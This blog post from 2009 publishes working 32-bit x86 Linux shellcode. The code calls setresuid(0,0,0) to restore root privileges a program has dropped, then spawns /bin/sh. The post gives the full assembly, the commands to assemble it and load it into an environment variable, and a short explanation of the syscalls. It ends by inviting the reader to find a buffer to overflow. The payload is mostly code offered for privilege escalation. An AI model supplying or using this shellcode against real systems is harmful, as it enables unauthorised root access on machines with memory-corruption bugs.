Monday, March 9, 2009

Spawning shell with highest UID available.

The first post is a publication of a shellcode I have found over there. It just spawns a shell with the highest privileges available for the current process.
There are some programs that drop the privileges to a lesser privileged user to protect critical parts of the code. They just allow the high privileges for executing the parts of code that need them.
The drop of privileges is often performed with the setuid system call.
Fortunately the privileges can be restored with the setresuid system call.

BITS 32

; setresuid(uid_t ruid, uid_t euid, uid_t suid);
xor eax, eax ; zero out eax
xor ebx, ebx ; zero out ebx
xor ecx, ecx ; zero out ecx
xor edx, edx ; zero out edx
mov al, 0xa4 ; 164 (0xa4) for syscall #164
int 0x80 ; setresuid(0, 0, 0) restore all root privs

; execve(const char *filename, char *const argv [], char *const envp[])
xor eax, eax ; make sure eax is zeroed again
mov al, 11 ; syscall #11
push ecx ; push some nulls for string termination
push 0x68732f2f ; push "//sh" to the stack
push 0x6e69622f ; push "/bin" to the stack
mov ebx, esp ; put the address of "/bin//sh" into ebx, via esp
push ecx ; push 32-bit null terminator to stack
mov edx, esp ; this is an empty array for envp
push ebx ; push string addr to stack above null terminator
mov ecx, esp ; this is the argv array with string ptr
int 0x80 ; execve("/bin//sh", ["/bin//sh", NULL], [NULL])

To use this shellcode save it in a plain text file, compile it and put it into an environment variable for example.

planadecu@pdux:~$ nasm highest_priv_shell.s
planadecu@pdux:~$ export SHELLCODE=$(cat highest_priv_shell)
planadecu@pdux:~$ echo $SHELLCODE
1�1�1�1Ұ�1�
Qh//shh/bin��Q��S��


Now you just need a buffer to overflow ;)

From the development manpages setuid system call does the follow.

int setresuid(uid_t ruid, uid_t euid, uid_t suid);

setresuid() sets the real user ID, the effective user ID, and the saved set-user-ID of the calling process.

The corresponding system call numbers are 164 according to the unistd_32.h of a 2.6.27-13 kernel.

planadecu@pdux:~$ grep setresuid /usr/src/linux-headers-2.6.27-13-generic/include/asm-x86/unistd_32.h

#define __NR_setresuid 164
#define __NR_setresuid32 208

That justifies the first lines of the shellcode.
; setresuid(uid_t ruid, uid_t euid, uid_t suid);
xor eax, eax ; zero out eax
xor ebx, ebx ; zero out ebx
xor ecx, ecx ; zero out ecx
xor edx, edx ; zero out edx
mov al, 0xa4 ; 164 (0xa4) for syscall #164
int 0x80 ; setresuid(0, 0, 0) restore all root privs
The interruption 0x80 makes the system enter the trap of the system call identified by its number stored in the EAX register.

The other part of the shellcode calls the execve system call with the '/bin//sh' string as the only parameter.

In the next post we are going to see how to use this shellcode in a buggy sample executable.

No comments:

Post a Comment